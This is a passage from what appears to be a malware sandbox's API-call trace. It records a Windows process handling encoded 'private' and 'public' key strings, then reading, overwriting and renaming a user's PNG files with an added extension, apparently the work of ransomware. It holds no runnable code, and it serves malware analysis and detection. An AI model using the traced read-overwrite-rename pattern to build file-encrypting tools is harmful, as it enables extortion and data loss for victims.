CgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.576] GetCurrentThreadId () returned 0xa30 [0127.576] GetCurrentThreadId () returned 0xa30 [0127.576] GetCurrentThreadId () returned 0xa30 [0127.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.577] GetCurrentThreadId () returned 0xa30 [0127.577] GetCurrentThreadId () returned 0xa30 [0127.577] GetCurrentThreadId () returned 0xa30 [0127.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\QQ-JA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\qq-ja.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0127.578] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0127.578] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0127.578] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xe355 [0127.578] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0127.578] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0xe355, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0xe355, lpOverlapped=0x0) returned 1 [0127.581] CloseHandle (hObject=0x1dc) returned 1 [0127.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\QQ-JA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\qq-ja.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0127.595] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f3e790*, nNumberOfBytesToWrite=0xe355, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f3e790*, lpNumberOfBytesWritten=0x18f114*=0xe355, lpOverlapped=0x0) returned 1 [0127.600] CloseHandle (hObject=0x1dc) returned 1 [0127.600] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\QQ-JA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\qq-ja.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\QQ-JA.png.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\qq-ja.png.zv7un")) returned 1 [0127.601] GetCurrentThreadId () returned 0xa30 [0127.601] GetCurrentThreadId () returned 0xa30 [0127.601] GetCurrentThreadId () returned 0xa30 [0127.601] GetCurrentThreadId () returned 0xa30 [0127.601] GetCurrentThreadId () returned 0xa30 [0127.601] GetCurrentThreadId () returned 0xa30 [0127.601] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd04eaf0, ftCreationTime.dwHighDateTime=0x1d5e7e9, ftLastAccessTime.dwLowDateTime=0x43b8d7e0, ftLastAccessTime.dwHighDateTime=0x1d5d823, ftLastWriteTime.dwLowDateTime=0x43b8d7e0, ftLastWriteTime.dwHighDateTime=0x1d5d823, nFileSizeHigh=0x0, nFileSizeLow=0x1188b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="rz5wZG.png", cAlternateFileName="")) returned 1 [0127.601] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.601] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.601] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\rz5wZG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\rz5wzg.png"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd04eaf0, ftCreationTime.dwHighDateTime=0x1d5e7e9, ftLastAccessTime.dwLowDateTime=0x43b8d7e0, ftLastAccessTime.dwHighDateTime=0x1d5d823, ftLastWriteTime.dwLowDateTime=0x43b8d7e0, ftLastWriteTime.dwHighDateTime=0x1d5d823, nFileSizeHigh=0x0, nFileSizeLow=0x1188b)) returned 1 [0127.601] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\rz5wZG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\rz5wzg.png")) returned 0x20 [0127.602] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\rz5wZG.png", dwFileAttributes=0x80) returned 1 [0127.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkr